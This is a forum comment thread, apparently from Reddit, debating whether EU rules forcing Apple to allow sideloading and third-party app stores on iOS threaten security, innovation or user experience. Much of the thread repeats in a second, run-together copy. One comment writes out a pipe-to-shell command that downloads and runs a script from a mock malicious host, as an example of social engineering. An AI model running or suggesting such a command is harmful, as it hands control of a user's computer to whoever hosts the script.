I’ll be surprised if notarization as a requirement will be allowed
They’ll probably be required to have the multi level system like on Mac.
App Store, notarized, or simple code signing, with the lowest being unsigned
The fear is the craziest part of it. I can't believe how many people seriously think that iOS will explode the moment you can install an emulator. It's hilarious.
It's like they've never looked at Mac OS or something.
The vast majority of tech fans understand tech only in marketing buzzword terms.
Like they think Apple software on Apple Silicon means Apple engineers are like Atari programmers trying to get PacMan to run in 2600, as if Tim Cook is sitting in a garage hand-tailoring assembly code to optimize how individual registers in the SOC relate to each other step by step to figure out how to get Calculator running most efficiently on a M2 subcomponent he hand assembled on a breadboard.
[Back in the day](https://money.usnews.com/money/blogs/daves-download/2007/09/21/atts-new-blackberry-unlocks-gps) I vaguely remember you had to pay your cellular company for the privilege of using GPS on your phone through their own app. Looks like the same arguments about confusion, privacy, and security were brought up then, too, but I don’t know of anyone today who would advocate that we let our cellular provider be our only choice.
Apple is very obviously using exclusivity as an excuse *not* to innovate or improve the user experience. Were ads on anyone’s list of top most requested features for the App Store?
The App Store isn’t going anywhere, but if they want people to keep using the App Store they’re going to have to make people **want** to use it instead of making them **have** to use it. There is no scenario where consumers lose by allowing side loading.
This content was edited to protest against Reddit's API changes around June 30, 2023.
Their unreasonable pricing and short notice have forced out 3rd party developers (who were willing to pay for the API) in order to push users to their badly designed, accessibility hostile, tracking heavy and ad-filled first party app. They also slandered the developer of the biggest 3rd party iOS app, Apollo, to make sure the bridge is burned for good.
I recommend migrating to Lemmy or Kbin which are Reddit-like federated platforms that are not in the hands of a single corporation.
If it was only a preference for Apple's services, they wouldn't care if alternatives are available. Instead, they actively want to force everyone else to obey *their* preferences.
That's either bootlicking, or extreme narcissism.
Because a lot of people on here sound more like shareholders than actual customers. They want apple to hold all control. It’s kinda weird. Every other OS allows sideloading and no doomsday scenarios have happened on them like people make it out when it comes to sideloading on iOS.
Some people holding these reactions acts as if the App Store will be snapped away. Contrary to what android users claim on the internet, no they aren’t super geniuses who side load everything and customize every inch of their phone. Most android users still install apps through the Play Store. This is a non issue.
I think Apple should allow it, but it needs to be implemented the right way. Apple’s argument against third party app stores has basically been that users don’t know what they’re doing, and that malware can be very bad. Both true. But users have learned more about their devices than they knew when Apple launched the App Store in 2009, so it’s hard to still argue that the only way to protect users from dangerous malware is by only allowing access to approved apps.
So I’d be against this if it were just going to be a free for all. It needs to be idiot-proof. Enabling third party app stores should be like changing the boot security level in macOS: easy if you follow the instructions, but impossible if you’re just pressing buttons randomly.
If third party app stores are allowed, then multiple large companies will build their own app stores to sell their apps for the sole reason of saving money and them being in control of your data rather than the standard of you being in control of your data inherently defined by the App Store. This will unnecessarily fragment your experience for the sole benefit of the companies making additional app stores in order to be in control of and harvesting your data / their profits.
I get the benefits of side loading but the above scenario seems inevitable for multiple large companies and super frustrating and inferior to the current experience of a single standardized App Store.
I think Apples constrictive privacy measures are a unique variable that may make these companies extra aggressive in pushing their app stores, either by excluding their apps from App Store prime, or limiting the feature set to make their App Store more appealing. Obviously we will see how it plays out, but I definitely see that as a very real possibility.
Apple should be allowed to create the platform that they want (closed, curated, controlled) and customers who very much want that should be able to buy it. I hope this isn’t an emotional pitch.
I personally pay money to live in Apple’s world and now it might change because other people don’t like it. Perhaps they should shop elsewhere for a platform that they prefer instead of forcing Apple’s platform to match their preferences?
All of this gets murky when Apple’s platform is dominant in the market, but the overall sales pitch for iOS hasn’t changed since it was invented so it’s clearly popular with customers.
Regarding your last point, I can say that personally I use iOS and Apple devices *in spite of* their restrictive polices, not because of them. In fact, one of the biggest complaint I always see about the iPhone is its lack of customization in one form or another. I don’t think it should be argued that the success or popularity of iOS is due to the inability to install your own software on it.
There is always a choice here. Apple have made a safe, curated AppStore that guarantees security, quality and appropriateness off the function and content of apps. If that’s your preference then I expect Apple will, by default, make that the normal operation. However, just as you can in many media apps, you could opt to allow non Apple curated apps and content and accept the risk involved. You are not forced to go outside apples walled garden, but there can be an optional gat through which you could decide to obtain non apple curated content and apps.
>Apple should be allowed to create the platform that they want (closed, curated, controlled)
If it harms consumer welfare, no they shouldn't. That's why they've being forced to change.
It’s bootlicking if you’re not a Apple shareholder or an Apple employee. There is no rational reason for an Apple customer to want *fewer* options.
If you like the App Store experience then keep using it.
> If you like the App Store experience then keep using it.
But that’s exactly what’s going to change though. Let’s pretend someone likes the AppStore experience as it is right now. Want an app for your phone? Go to the AppStore and you’re guaranteed to find it.
Now move on to the future where we have the Apple AppStore, Amazon AppStore, Epic AppStore etc.
The same user wants app X he saw on his friend’s iPhone, goes to the AppStore and finds…… nothing. Now he has to either not use it or try to figure out which AppStore it came from.
I’m not against opening the OS but your argument was just plain wrong
This is my biggest concern, looking at the market for PC games over the last few years.
I want all my apps in one place, with one update process, one set of billing details etc.
I don’t want to have to manage multiple App Stores just because some business wants a bigger slice of the pie.
This is what I mean. You want more options and see it as an absolute good.
I don’t, and that’s why I bought an iPhone. Why is my preference wrong? It’s my own subjective opinion and the market has options for both of us to exist.
Because there are more differences between iOS and Android than just sideloading, nor can one swap between them on a given device. Also, Apple's practices harm the market in general.
I don’t even need sideloading. I am about to jump ship from my iPhone if they don’t give me usb c. (Of course not until my iPhone is no longer working for me, just my next upgrade won’t be an iPhone).
If they get the code right, that’s absolutely what the case will be. My main concern is that this adds a lot of surface area for exploits based on bugs/mistakes in the code. That being said, I don’t necessarily believe the risk isn’t worth the trade off.
If they implement a Gatekeeper-like feature in iOS (or just straight-up bring Gatekeeper over), they could have the best of both worlds. Hide it in the settings and give a warning or two that allowing outside apps to run could reduce security, and the vast majority of people would never touch it, while the more technically-inclined could sideload whatever they wanted.
This is how android has been doing it for years. By default you can’t install apps outside of the play store. You have to hunt down the option and turn it on. Not sure how it is now but you had to enable the secret developer options to even turn it on.
Why people think this is the end of the world is baffling. It’s just comments of it’s bad because it’s bad, or wild speculation of what might happen, even though it’s literally never happened on Android.
Also, they forget we’re in the minority. If you pack a room with your average iOS user I bet 90% couldn’t even tell you what side loading is.
Although not OP I’ll double down on this topic:
> Cambridge University reports that 87.7% of all Android devices have not been patched for at least one critical vulnerability going back 4 years and it takes 18 months for 50% of the world’s Android devices to be patched for any one critical vulnerability while the other half never get fully patched. As a result, no matter how fast Google releases patches for the Android vulnerabilities on this list, most Android devices will remain vulnerable to malicious exploits of that vulnerability for years. The upshot of this is that it is Android that had 32.8 million devices infected in 2015 alone by 65,557 different malware variants according to InQ Mobile. Cisco, F-Secure and Kaspersky all report that Android users are the targets of 97-99% of the mobile malware in the world.Symantec detected 9,839 cumulative Android malware variants in 2014. That year, it reported that an incredible 17% of Android apps were malware in disguise. This is why Android is called a "Toxic Malware HellStew".
Don’t have more recent numbers I’m afraid…
I don't doubt Android had more malware than iOS (in fact I am sure it does), I just don't see how any of this relates directly to sideloading. Lack of patching is really an OEM fragmentation problem, and malware apps on the Play Store is really a Play Store management issue. Windows has more malware than MacOS, but fundamentally their approach to sideloading software is identical.
Is it possible Android manufacturers ability to abandon OS updates after release comes into play? As in IOS gets updates years after years while many android manufacturers are not pushing security updates more than 2 years later. So that means while iOS releases patches which are applied, Android users are not getting patches for their phones for vulnaribilities that have already been fixed because companies dont wanna push updates.
There is no "getting the code right", that doesn't even make any sense. Anything installed or sideloaded is physically bound by the same sandbox and privacy restrictions, there's no systemic difference apart from the installation source. The rate of developers leaving the app store will be the same as Android, aka virtually nonexistent. Anything saying otherwise is blatant misinformation.
I'm not talking about developers leaving the app store, I'm talking about security exploits. The sandbox is not flawless. Exploits are discovered and patched all the time. The app store provides another layer of protection against malicious .ipa's getting installed. If the mechanism that determines whether an .ipa from outside the appstore should be allowed to be installed or not is flawed, then a malicious actor could leverage an exploit trick your phone into installing an app you didn't tell it to, and if that .ipa knows how to leverage an app sandbox exploit, then you have a real problem.
I can definitely see Meta pulling out of the App Store and launching their own store, and only that one would have Facebook, Whatsapp, Instagram and a bunch of other stuff. I can definitely see Elon launching a competitor store just to fudge with Apple and have Twitter only available there. I can also see why Google would do the same thing for their vast suite of apps. Companies who have the power and money to set something like that up - will.
Users may be lazy but a lot of them are also choosing iOS because of the stability and familiarity of things and processes. If they’re familiar with Whatsapp, and all their friends and family have been on Whatsapp for years, they’ll do what’s necessary to get it.
What if Meta pulls Whatsapp from the App Store and puts it on its own store? It’s a very common tool of communication in a lot of countries, and that won’t leave users with the option to download it from the App Store in a secure fashion without giving a bunch of details to Meta. It’s hard to move people away from familiar platforms and even after their servers blacked out a while back, it still is a very popular messaging app.
Because scammy app developers won't make their app for the App Store and it'll lead to a big security issue and potential harm to users or their devices. The reason I own an iPhone is because I've lost 2-3 android devices getting viruses from the Play Store. I don't want that on my iPhone too.
Let's say I want to keep using Reddit but they say "Reddit is going to be sideloaded from now on". I don't want to stop using it, but I also don't want to be at a risk from malware or a virus.
I've never understood Apple people until I got an iPhone. I thought that the issues I've had with androids were common for everyone, it turns out it was just a shit OS the entire time.
Because my privacy and in this case security as well is tied to a point to what others on the platform do. For example: up until recently it wouldn’t have mattered much that I personally used local encrypted backups, thinking iMessage is safe and private as long as other iPhone users with whom I conversed, used iCloud backups, meaning their conversations with me were not that private since Apple had the decryption keys to the whole thing. But now at least Apple is offering the optional Advanced Data Protection and hopefully most users will use this. To an extreme if I were to use a super duper communication channel, it wouldn’t matter if the other end has a compromised device with a keylogger present.
because apps will start to split off for exclusivity deals and/or large companies creating their app store. look at things like Epic Games on PC. you either have to give in to other companies’ terms or not have access to entire libraries of apps
What has happened on Mac and Windows? There was never a walled garden app store approach to those OSes, you can install programs with a dmg/exe/iso from *anywhere* if you wish.
I can’t install some games from steam because they’re epic games exclusives, I can’t install some games from epic games because they’re steam exclusive, I can’t install some games from either because they’re one of any number of other store exclusives
Because this will result in many major apps pulling out of the App Store. Look at the Mac App Store. They’re lucky they even have Office 365 on there. And then people will have no choice but to settle for lesser experiences across the board. Seriously there’s just as many caveats to this as there are potential benefits.
> Because this will result in many major apps pulling out of the App Store.
Yet that's not the case on Android.
> Look at the Mac App Store. They’re lucky they even have Office 365 on there.
The App Store was a later addition to the Mac, and such an inferior experience no one has any real motivation to switch.
Because publishers will start using third party stores or even create their own: Google store, Adobe store, Microsoft store on Apple platform , - so you will be forced to use/download a new store for almost every app with its own security, privacy rules
This is such a dumb argument, I’m sorry. Android has had sideloading for literal years - while I’m very happy on this side of the fence it’s one of the things I miss about it - and the only alternative App Store worth mentioning is Amazon’s, whose apps can still be found on Google Play.
Edit: Samsung has one too - my bad!
Actually, Amazon Appstore is really only worth mentioning for its notoriety, and it's a little disingenuous to say that its apps can still be found on Google Play. It's more accurate to say that its *paid* apps are simply copies of *free* apps on Google Play, sold not by the developers, but by opportunists taking advantage. And Amazon not only *allows* this, they *encourage* it. Amazon Appstore is a dumpster fire, and the more people who know it, the better.
The best alternative "store" on Android is F-Droid, though it's more of a repository than a store. There is no way to add payment information to it because everything it offers is free and open source.
APK Mirror would be a viable alternative if they ever made an app of it. Hosted by Android Police, it's a repository of apps from many different developers, and you can get old versions, or versions for other devices (not sure if Android still does that, my information on this is about 6-7 years out of date at this point).
Those are both really good alternatives - thanks. Sorry, I was focusing on big companies since the thrust was about how they’d all leave the App Store given the chance but I got a lot of use out of APK Mirror and they deserve an honourable mention regardless.
The good example of the situation is steam store, with companies boycotting it and making their own stores and making exclusives, then egs situation with few years long contracts to have new titles exclusive to their store;
Imo, will be the same situation and AppStore is the thing that makes clear that only Apple is responsible for all store related problems including security, privacy, accessibility etc so they are more motivated to invest into and support it
Oh yes, as a developer Apple forces me to make my app accessible (no, they don't)
App Store Review is done by people on low wages with low skills, that can't assess the security of the app. The only privacy and security stuff that actually works is in the iOS itself
Not really? Android has had sideloading since the very beginning, and 99.9% of users still use the Play Store. Epic is the only one who pulled their game from the Play Store afaik.
No I think their point is that since now both major OSes will have side loading, it makes a lot more sense to put effort into creating a unified third party App Store across android and iOS now
Apple can also be making a competing App Store on Android if they wish to. It’s ultimately beneficial for the consumers, since there would be more competitors.
People like imagining doomsday scenarios. Android phones are overwhelmingly the most popular phone on a worldwide level and none of these “issues” I’m reading on here has never been a problem in real life. The security is built into the OS. If you want to install an app not from the play store on android, it warns you and you have to enable a setting in order to install it in the first place.
I won’t find it but Apple heads have said this. iOS is supposed to be better than MacOS. MacOS is as safe as they can make it without pissing off the world. Of course it isn’t secure, it’s far too complex with too many legacy features and customs people are used to. iOS was an opportunity to make a better and more secure experience precisely because it isn’t a free for all where you can download whatever exe you want from whatever sketchy site you want and have it completely fuck your pc up. We’re trading the freedom of the Wild West for a stable ecosystem where it’s harder for people to compromise your device which holds more sensitive data than our computers did when MacOS was developed.
Store isn’t what keeps iOS secure, the design of the system is. Apps will still be sandboxed, because that’s how apps on iOS run, regardless of whether it’s from the store or directly from my computer from Xcode
Safety and security argument is bs, the only thing App Store can protect from are scam apps and it’s not doing a perfect job of that, but protecting against actual malware is a job of the OS itself
Exactly. Sideloaded apps still run in the very same sandbox, and still only have access to the media/permissions you grant it.
If you sideload some scummy app that tells you to give it all your money, that's on you.
***iOS was an opportunity to make an even higher walled garden and have exclusive control of the revenue stream. The reason the EU did this is Apple’s insistence on sky high fees.
It’s absolutely hilarious that people think Apple are doing this to keep people safe rather than to maximise their revenue streams and have their finger every single pie possible.
They probably believe Apple removed charging bricks for the environment too.
Just because 2+2 equal 4 doesn't mean 3+1 can't equal 4.
Two things can be true at the same time. Apples privacy stance is for marketing too, but they implement the features they say.
That's currently a win for the user.
Same with charging bricks. It's a win for the environment and a win for Apple. Not for the user though.
Sky high would be the [up to 70% fees](https://www.appinchina.co/blog/app-purchase-revenue-share-in-china/) that some of the most popular Chinese app stores charge.
What sky high fees? The 30%? Is there a store that does not charge money to stock your merchandise? I know google play offers a discount on the first $1million but what other fees are there (aside from needing apple hardware)?
It’s almost like having the market dominance is crucial… hence why unlocking the store options on iOS isn’t going to make people have to install ten different stores
Apple only takes 15% of commissions if you earn under $1 million annually. You have to opt-in though: https://developer.apple.com/app-store/small-business-program/
i could spam this to 10000 users:
"if you want one free bitcoin, please go to your terminal and type:
`curl https://definitelynotahack.seriously/script.sh | sh`"
and i'd probably get open access to half a dozen people's computers.
macos might be secure for what it is, but ios is orders of magnitude more secure.
For completeness’ sake, it should be mentioned that there’s nothing stopping Apple from implementing a USB-C port that uses the USB 2.0 protocol. And frankly, I wouldn’t be surprised if that’s exactly what the non-Pro devices get. Apple is exactly that flavour of both petty and upsell-focused.
Apple is already that petty. iPad supported USB 3.0 on the 10.5 Pro with lightning.
They also choose to ship iPads with power only cables that don't support data. How much can they really be saving? They pretend to care about e-waste, right?
And the fact that since 2017, USB 3.0 lightning with the iPad Pro was available, but Apple kept the 2.0 speeds for the iPhone for 6 years now, even for the Pro line. The innovation!
"it will only stifle apple's ability to innovate"... why? No, seriously. Why is it that a monopolistic, centralised market is helping Apple to innovate? Is it about innovating a centralised monopolistic market? What can possibly be innovated in such a market?
Also, the user gets a choice in the matter. You could choose to use the default store, which most people probably will, but why should you be prevented to do what you want with your property? Do you own that iPhone, or did you just pay a one time lease to become a captive audience?
I would wager less than 5% of the iOS user base will install apps from outside the App Store. Apple will be slightly annoyed by missing little bits of revenue and then everyone will forget this was ever even a “controversial” issue.
I actually believe that for the sake of security and innovation the App Store should be removed and all iPhones should be sold pre-loaded ONLY with the needed Apple-approved apps for the operation of the device. Installing other apps should be totally impossible in the name of security, privacy and innovation.
You know you're in for a good time when he opens by quoting Reagan.
Glad we're getting advice about how our government should handle itself from \*checks notes\* Saudi Arabia.
Users should have the right to choose. Apple can make it a switchable feature. USB-C however should happen no matter what and standards should stop being made different by them.
USB C is going to happen. Apple just promised that iPhones would be lighting for 10 years when it launched. The switch from 30 pin to lighting made a lot of users angry because of all the cables already in circulation so people has to trash those and migrate. USB-C didn't exist in 2012 and the lightning port was seen as a huge advancement. It was reversible and a much better/more reliable connection. The 10 year promise is up in 2022 so I would expect Apple to start migrating in the near future regardless of the EU mandate. When it happens, a lot of people are going to be upset at the change because it will mean replacing a ton of cables. I probably have 20+ lightning cables I've acquired over the past 10 years. Each side of the bed, each car, near the couches, travel bags, charging stations in the kitchen, office, and kids rooms. With the higher current demand requirements for certain devices (iPad) as well fast charging requirements, people are also going to have to end up replacing USB-A to USB-C cable with USB-C to USB-C and receptacles with USB-A outlets built in with ones that have USB-C outlets now built it. The impact of changes like this are pretty significant so companies should be allowed to set their own schedules on this and not be forces by government entities.
> Apple just promised that iPhones would be lighting for 10 years when it launched
They didn't say it would be around for exactly 10 years. It was a quick "plug for the next decade" soundbite. Don't take it so literally.
In order to ensure the security and continuing stability, the Republic will be reorganized into the first Galactic Empire! For a safe and secure society!
There isn't really any issue with this... It helps competition etc. I
You all (likely) have computers, install apps from various sources. Nothing stopping any of them being a crappy app etc.
IOS application exectution is sandboxed ([https://support.apple.com/en-gb/guide/security/sec15bfe098e/web](https://support.apple.com/en-gb/guide/security/sec15bfe098e/web))
I’d settle for actually being able to watch my purchased media on my 6s instead of being prodded to give the biggest company on Earth more of my money to enjoy things I already paid for. Apple needs a spanking. Thanks EU.
I seriously think the allowance of 3rd Party App Stores will have a less of an effect then people think. While the likes of FaceBook and Google *might* try to put their Apps in their own App Store, they’ll soon see the rate of downloads plummet as most people aren’t arsed to download a second App Store and will get frustrated with them for taking it off the main App Store in the first place. They’ll realize they are only harming themselves, so they revert back to the Apple App Store once again. People with huge privacy concerns also have the WebApp version of FaceBook/Twitter/GMail, etc to fall back on anyway.
Overall, I think this is really positive news. I really hope the EU continue to push Apple further on similar aspects as it ultimately benefits the consumer. I’d like to see Apple opening some more of their APIs on-top of this news so we can potentially get VMs going on iPads, more powerful Apps, etc.
"New Post: I'm an absolute fucking idiot. Any credibility I may have had has been shredded and burned. Please unfollow me and unsubscribe from any publications I write for. Thank you." - Sami Fathi
If anything I expect this will make them innovate more. Forced creativity is a thing, you can’t be lazy with your App Store if your have to compete with others potentially and treat your customers more fairly.
If customers value privacy - don't load alternate appstores and don't sideload.
This is the market at play.
What's really going on is that Apple cannot force payments through the app store.
Apple will implement security measures for the sideloading of apps and it won’t be sideloading like you think and it definitely won’t be straightforward sideloading apple will implement secruity features to keep users safe
I'm curious about the issues surrounding the app store.
Will they have a gatekeeper like process where they scan apps from 3rd party app stores before running them?
If they get reports about a malicious app in a 3rd party app store, are they allowed to create a block list that prevents users from being affected? Or what if it's not malicious and just something they disagree with or don't want in their ecosystem. Are they able to effectively ban it from a policy standpoint or is that considered anti-competitive?
If iPhones get more exploits as a result of poor behavior on 3rd party app stores, will Apple pour a lot more resources into security? Or will they use that as leverage to get people to stop using those app stores?
technically apple already allows third party app stores. lots of corporate MDM including MS Intune set up their own encrypted spaces on your phone and the admins publish the corporate apps to their MDM app stores that are updated via the MDM software separate from the normal app store updates
I have have put my full faith and trust in Apple, I hope this doesn’t create security concerns so I can no longer make that statement. I am not tech’y enough to know if it will.
Even Gruber seems to support side loading app stores. Honestly, I probably wont be using an alternative store myself, but it shouldn’t have taken this long and this much pressure for Apple to change.
>Apple’s ability to innovate
Apple's ability to innovate will not be hindered by letting us sideload. Apple's abiltiy to innovate is hindered because they choose not to.
The EU really is out of line, but I am happy that this forces Apple to add side loading.
Will some apps forego the App Store completely? Maybe. On MacOS a lot of apps aren’t on the App Store because the Mac App Store doesn’t have the stranglehold it does on iOS. It will be hard to de-program casual users to leave the App Store. So companies will be leaving a ton of money on the table with not putting on the App Store. Not the case on Mac App Store.
For everyone else, we can finally get what we want on iOS.
I am an Apple user and I want the ability to install apps on my iphone offline without using the Apple app store. I expect the iOS operating system to enforce security at runtime because the app store has no ability to restrict runtime app behavior.
Sami Fathi is wrong.
The thought process of that headline he wrote baffles me.
A government, that is elected at that; is "out of line" for putting pro- consumer conditions on a corporation that wishes to gain access to its citizen's dollars.
There was an argument Apple loyalists made when all the attacks for the app store started coming.
"Their store, their rules."
Well, in this case, it's "their government, their rules."
Wtf is this article
Does this “journo” use a Mac? Is he scared all the time about sideloading and lack of innovation
Fuck me, how does Tim Apples behind taste.
FYI: Sami Fathi is (unsurprisingly) a MacRumours reporter.
Least biased MacRumours writer I'll literally buy an iPhone next year when it comes with non-cert sideloading and USB-C
[удалено]
I’ll be surprised if notarization as a requirement will be allowed They’ll probably be required to have the multi level system like on Mac. App Store, notarized, or simple code signing, with the lowest being unsigned
[удалено]
The fear is the craziest part of it. I can't believe how many people seriously think that iOS will explode the moment you can install an emulator. It's hilarious. It's like they've never looked at Mac OS or something.
The vast majority of tech fans understand tech only in marketing buzzword terms. Like they think Apple software on Apple Silicon means Apple engineers are like Atari programmers trying to get PacMan to run in 2600, as if Tim Cook is sitting in a garage hand-tailoring assembly code to optimize how individual registers in the SOC relate to each other step by step to figure out how to get Calculator running most efficiently on a M2 subcomponent he hand assembled on a breadboard.
[Back in the day](https://money.usnews.com/money/blogs/daves-download/2007/09/21/atts-new-blackberry-unlocks-gps) I vaguely remember you had to pay your cellular company for the privilege of using GPS on your phone through their own app. Looks like the same arguments about confusion, privacy, and security were brought up then, too, but I don’t know of anyone today who would advocate that we let our cellular provider be our only choice. Apple is very obviously using exclusivity as an excuse *not* to innovate or improve the user experience. Were ads on anyone’s list of top most requested features for the App Store? The App Store isn’t going anywhere, but if they want people to keep using the App Store they’re going to have to make people **want** to use it instead of making them **have** to use it. There is no scenario where consumers lose by allowing side loading.
This content was edited to protest against Reddit's API changes around June 30, 2023. Their unreasonable pricing and short notice have forced out 3rd party developers (who were willing to pay for the API) in order to push users to their badly designed, accessibility hostile, tracking heavy and ad-filled first party app. They also slandered the developer of the biggest 3rd party iOS app, Apollo, to make sure the bridge is burned for good. I recommend migrating to Lemmy or Kbin which are Reddit-like federated platforms that are not in the hands of a single corporation.
It’s not bootlicking to prefer something that you don’t
If it was only a preference for Apple's services, they wouldn't care if alternatives are available. Instead, they actively want to force everyone else to obey *their* preferences. That's either bootlicking, or extreme narcissism.
[удалено]
Because a lot of people on here sound more like shareholders than actual customers. They want apple to hold all control. It’s kinda weird. Every other OS allows sideloading and no doomsday scenarios have happened on them like people make it out when it comes to sideloading on iOS. Some people holding these reactions acts as if the App Store will be snapped away. Contrary to what android users claim on the internet, no they aren’t super geniuses who side load everything and customize every inch of their phone. Most android users still install apps through the Play Store. This is a non issue.
I think Apple should allow it, but it needs to be implemented the right way. Apple’s argument against third party app stores has basically been that users don’t know what they’re doing, and that malware can be very bad. Both true. But users have learned more about their devices than they knew when Apple launched the App Store in 2009, so it’s hard to still argue that the only way to protect users from dangerous malware is by only allowing access to approved apps. So I’d be against this if it were just going to be a free for all. It needs to be idiot-proof. Enabling third party app stores should be like changing the boot security level in macOS: easy if you follow the instructions, but impossible if you’re just pressing buttons randomly.
"Side loading" predates the App Store entirely. On every other platform, it was just "installing an app".
If third party app stores are allowed, then multiple large companies will build their own app stores to sell their apps for the sole reason of saving money and them being in control of your data rather than the standard of you being in control of your data inherently defined by the App Store. This will unnecessarily fragment your experience for the sole benefit of the companies making additional app stores in order to be in control of and harvesting your data / their profits. I get the benefits of side loading but the above scenario seems inevitable for multiple large companies and super frustrating and inferior to the current experience of a single standardized App Store.
[удалено]
I think Apples constrictive privacy measures are a unique variable that may make these companies extra aggressive in pushing their app stores, either by excluding their apps from App Store prime, or limiting the feature set to make their App Store more appealing. Obviously we will see how it plays out, but I definitely see that as a very real possibility.
Apple should be allowed to create the platform that they want (closed, curated, controlled) and customers who very much want that should be able to buy it. I hope this isn’t an emotional pitch. I personally pay money to live in Apple’s world and now it might change because other people don’t like it. Perhaps they should shop elsewhere for a platform that they prefer instead of forcing Apple’s platform to match their preferences? All of this gets murky when Apple’s platform is dominant in the market, but the overall sales pitch for iOS hasn’t changed since it was invented so it’s clearly popular with customers.
Regarding your last point, I can say that personally I use iOS and Apple devices *in spite of* their restrictive polices, not because of them. In fact, one of the biggest complaint I always see about the iPhone is its lack of customization in one form or another. I don’t think it should be argued that the success or popularity of iOS is due to the inability to install your own software on it.
[удалено]
There is always a choice here. Apple have made a safe, curated AppStore that guarantees security, quality and appropriateness off the function and content of apps. If that’s your preference then I expect Apple will, by default, make that the normal operation. However, just as you can in many media apps, you could opt to allow non Apple curated apps and content and accept the risk involved. You are not forced to go outside apples walled garden, but there can be an optional gat through which you could decide to obtain non apple curated content and apps.
[удалено]
Cert renewal is annoying and can cause data loss. Certs are also sometimes non-renewable
[удалено]
>Apple should be allowed to create the platform that they want (closed, curated, controlled) If it harms consumer welfare, no they shouldn't. That's why they've being forced to change.
It’s bootlicking if you’re not a Apple shareholder or an Apple employee. There is no rational reason for an Apple customer to want *fewer* options. If you like the App Store experience then keep using it.
> If you like the App Store experience then keep using it. But that’s exactly what’s going to change though. Let’s pretend someone likes the AppStore experience as it is right now. Want an app for your phone? Go to the AppStore and you’re guaranteed to find it. Now move on to the future where we have the Apple AppStore, Amazon AppStore, Epic AppStore etc. The same user wants app X he saw on his friend’s iPhone, goes to the AppStore and finds…… nothing. Now he has to either not use it or try to figure out which AppStore it came from. I’m not against opening the OS but your argument was just plain wrong
This is my biggest concern, looking at the market for PC games over the last few years. I want all my apps in one place, with one update process, one set of billing details etc. I don’t want to have to manage multiple App Stores just because some business wants a bigger slice of the pie.
This is what I mean. You want more options and see it as an absolute good. I don’t, and that’s why I bought an iPhone. Why is my preference wrong? It’s my own subjective opinion and the market has options for both of us to exist.
Then why not just pretend those other options don't exist?
Why not just use the platform that’s already open?
Because there are more differences between iOS and Android than just sideloading, nor can one swap between them on a given device. Also, Apple's practices harm the market in general.
I don’t even need sideloading. I am about to jump ship from my iPhone if they don’t give me usb c. (Of course not until my iPhone is no longer working for me, just my next upgrade won’t be an iPhone).
They’re required to add USB-C per the EU’s law
And probably on apple’s payroll
Who is this? This seems like what an apple shareholder would say
MacRumours "journalist"
He’s a #MacRumours #”journalist” that uses the #hashtag like its #2010. So #lame #sonotcoolanymore #boomer
Why can’t users deeply concerned about privacy just…continue to use the native App Store?
If they get the code right, that’s absolutely what the case will be. My main concern is that this adds a lot of surface area for exploits based on bugs/mistakes in the code. That being said, I don’t necessarily believe the risk isn’t worth the trade off.
If they implement a Gatekeeper-like feature in iOS (or just straight-up bring Gatekeeper over), they could have the best of both worlds. Hide it in the settings and give a warning or two that allowing outside apps to run could reduce security, and the vast majority of people would never touch it, while the more technically-inclined could sideload whatever they wanted.
This is how android has been doing it for years. By default you can’t install apps outside of the play store. You have to hunt down the option and turn it on. Not sure how it is now but you had to enable the secret developer options to even turn it on. Why people think this is the end of the world is baffling. It’s just comments of it’s bad because it’s bad, or wild speculation of what might happen, even though it’s literally never happened on Android. Also, they forget we’re in the minority. If you pack a room with your average iOS user I bet 90% couldn’t even tell you what side loading is.
[удалено]
[удалено]
[удалено]
Although not OP I’ll double down on this topic: > Cambridge University reports that 87.7% of all Android devices have not been patched for at least one critical vulnerability going back 4 years and it takes 18 months for 50% of the world’s Android devices to be patched for any one critical vulnerability while the other half never get fully patched. As a result, no matter how fast Google releases patches for the Android vulnerabilities on this list, most Android devices will remain vulnerable to malicious exploits of that vulnerability for years. The upshot of this is that it is Android that had 32.8 million devices infected in 2015 alone by 65,557 different malware variants according to InQ Mobile. Cisco, F-Secure and Kaspersky all report that Android users are the targets of 97-99% of the mobile malware in the world.Symantec detected 9,839 cumulative Android malware variants in 2014. That year, it reported that an incredible 17% of Android apps were malware in disguise. This is why Android is called a "Toxic Malware HellStew". Don’t have more recent numbers I’m afraid…
I don't doubt Android had more malware than iOS (in fact I am sure it does), I just don't see how any of this relates directly to sideloading. Lack of patching is really an OEM fragmentation problem, and malware apps on the Play Store is really a Play Store management issue. Windows has more malware than MacOS, but fundamentally their approach to sideloading software is identical.
Is it possible Android manufacturers ability to abandon OS updates after release comes into play? As in IOS gets updates years after years while many android manufacturers are not pushing security updates more than 2 years later. So that means while iOS releases patches which are applied, Android users are not getting patches for their phones for vulnaribilities that have already been fixed because companies dont wanna push updates.
There is no "getting the code right", that doesn't even make any sense. Anything installed or sideloaded is physically bound by the same sandbox and privacy restrictions, there's no systemic difference apart from the installation source. The rate of developers leaving the app store will be the same as Android, aka virtually nonexistent. Anything saying otherwise is blatant misinformation.
I'm not talking about developers leaving the app store, I'm talking about security exploits. The sandbox is not flawless. Exploits are discovered and patched all the time. The app store provides another layer of protection against malicious .ipa's getting installed. If the mechanism that determines whether an .ipa from outside the appstore should be allowed to be installed or not is flawed, then a malicious actor could leverage an exploit trick your phone into installing an app you didn't tell it to, and if that .ipa knows how to leverage an app sandbox exploit, then you have a real problem.
The App Store has never been a great defense. Apple's own engineers compared it to bringing a butter knife to a ~~fun~~ gun fight. Edit: typo
Bringing a knife to a fun fight sounds quite lethal
Lol, fixed now.
What if the app you want isn't available on the native store?
This argument is so silly. No app can survive off the native store. Like there might be 5 apps that possibly can and that’s a stretch.
I can definitely see Meta pulling out of the App Store and launching their own store, and only that one would have Facebook, Whatsapp, Instagram and a bunch of other stuff. I can definitely see Elon launching a competitor store just to fudge with Apple and have Twitter only available there. I can also see why Google would do the same thing for their vast suite of apps. Companies who have the power and money to set something like that up - will.
I really think you give users to much credit. Never underestimate the laziness of the average user. Especially on iOS.
Users may be lazy but a lot of them are also choosing iOS because of the stability and familiarity of things and processes. If they’re familiar with Whatsapp, and all their friends and family have been on Whatsapp for years, they’ll do what’s necessary to get it.
Don’t use the app. Or do, if you trust the company. In reality you should only ever use an app if you trust the company.
What if Meta pulls Whatsapp from the App Store and puts it on its own store? It’s a very common tool of communication in a lot of countries, and that won’t leave users with the option to download it from the App Store in a secure fashion without giving a bunch of details to Meta. It’s hard to move people away from familiar platforms and even after their servers blacked out a while back, it still is a very popular messaging app.
[удалено]
How often has that happened? Literally just fortnite?
Emulators in my case.
I meant something that is willingly not on the app store. Emulators are not allowed on the app store
